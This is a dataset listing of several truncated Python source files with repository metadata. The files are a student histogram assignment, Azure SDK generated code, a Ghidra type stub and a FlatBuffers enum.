41a662baf31d2a62914571ab1a7592adfc372ea5 | 98c6ea9c884152e8340605a706efefbea6170be5 | /examples/data/Assignment_6/wrtjos001/question4.py | af7b9aca381af051a7c7950504ed8316f3d9ed66 | [] | no_license | MrHamdulay/csc3-capstone | 479d659e1dcd28040e83ebd9e3374d0ccc0c6817 | 6f0fa0fa1555ceb1b0fb33f25e9694e68b6a53d2 | refs/heads/master | 2021-03-12T21:55:57.781339 | 2014-09-22T02:22:22 | 2014-09-22T02:22:22 | 22,372,174 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 699 | py | """Assignment 6 Question 4 histogram reprentation of marks
joshua wort
20 april 2014"""
#get list of marks
mark=input("Enter a space-separated list of marks:\n")
marks=mark.split(" ")
#variables
F=""
third=""
lower_second=""
upper_second=""
first=""
#sort marks into categories
for mark in marks:
... | [
"jarr2000@gmail.com"
] | jarr2000@gmail.com |
6cc0276162bd2ed931565851eac5f8bd360435a6 | 87ac76b8aae5bf1c8a1530cd317972e4cf54fd62 | /azext_iot/sdk/dps/service/models/device_capabilities.py | 271a4829262e4d8e1f1b373d3572d394b0ccbf2c | [
"MIT"
] | permissive | montgomp/azure-iot-cli-extension | 911dbb10bb27d1b4ba2446fad4e37014c99bea6e | 7dee61b369f5dd7c7b9753edfc87b8ed35841c72 | refs/heads/dev | 2023-08-28T18:58:16.052628 | 2021-10-21T21:13:11 | 2021-10-21T21:13:11 | 271,131,011 | 1 | 1 | NOASSERTION | 2020-08-05T15:56:03 | 2020-06-09T23:30:08 | Python | UTF-8 | Python | false | false | 1,094 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... | [
"noreply@github.com"
] | montgomp.noreply@github.com |
878bf8ebbffb082312d112adc9e428be9d482b7c | aa0270b351402e421631ebc8b51e528448302fab | /sdk/containerservice/azure-mgmt-containerservice/generated_samples/managed_clusters_start.py | 72576c0ff6c89fa7ed554926a27a70117d305085 | [
"MIT",
"LGPL-2.1-or-later",
"LicenseRef-scancode-generic-cla"
] | permissive | fangchen0601/azure-sdk-for-python | d04a22109d0ff8ff209c82e4154b7169b6cb2e53 | c2e11d6682e368b2f062e714490d2de42e1fed36 | refs/heads/master | 2023-05-11T16:53:26.317418 | 2023-05-04T20:02:16 | 2023-05-04T20:02:16 | 300,440,803 | 0 | 0 | MIT | 2020-10-16T18:45:29 | 2020-10-01T22:27:56 | null | UTF-8 | Python | false | false | 1,579 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | [
"noreply@github.com"
] | fangchen0601.noreply@github.com |
01784bb1eed1a0d1dc4408f4dfd22848c152afd1 | 786027545626c24486753351d6e19093b261cd7d | /ghidra9.2.1_pyi/ghidra/app/plugin/core/datamgr/actions/DeleteArchiveAction.pyi | 40829decee32b762b3894713f6a134b1ed84c7c4 | [
"MIT"
] | permissive | kohnakagawa/ghidra_scripts | 51cede1874ef2b1fed901b802316449b4bf25661 | 5afed1234a7266c0624ec445133280993077c376 | refs/heads/main | 2023-03-25T08:25:16.842142 | 2021-03-18T13:31:40 | 2021-03-18T13:31:40 | 338,577,905 | 14 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,409 | pyi | import docking
import docking.action
import ghidra.util
import java.beans
import java.lang
import java.util
import java.util.function
import javax.swing
class DeleteArchiveAction(docking.action.DockingAction):
def __init__(self, __a0: ghidra.app.plugin.core.datamgr.DataTypeManagerPlugin): ...
def actio... | [
"tsunekou1019@gmail.com"
] | tsunekou1019@gmail.com |
7873a3bafeebce9c3624c8c3a5b2b8862708fd5e | 61ef327bd1d5ff6db7595221db6823c947dab42b | /FlatData/EndCondition.py | 6c4cf20c8a8847cbbfba3d3009e7e7918cb49579 | [] | no_license | Aikenfell/Blue-Archive---Asset-Downloader | 88e419686a80b20b57a10a3033c23c80f86d6bf9 | 92f93ffbdb81a47cef58c61ec82092234eae8eec | refs/heads/main | 2023-09-06T03:56:50.998141 | 2021-11-19T12:41:58 | 2021-11-19T12:41:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 248 | py | # automatically generated by the FlatBuffers compiler, do not modify
# namespace: FlatData
class EndCondition(object):
Duration = 0
ReloadCount = 1
AmmoCount = 2
AmmoHit = 3
HitCount = 4
None_ = 5
UseExSkillCount = 6
| [
"rkolbe96@gmail.com"
] | rkolbe96@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.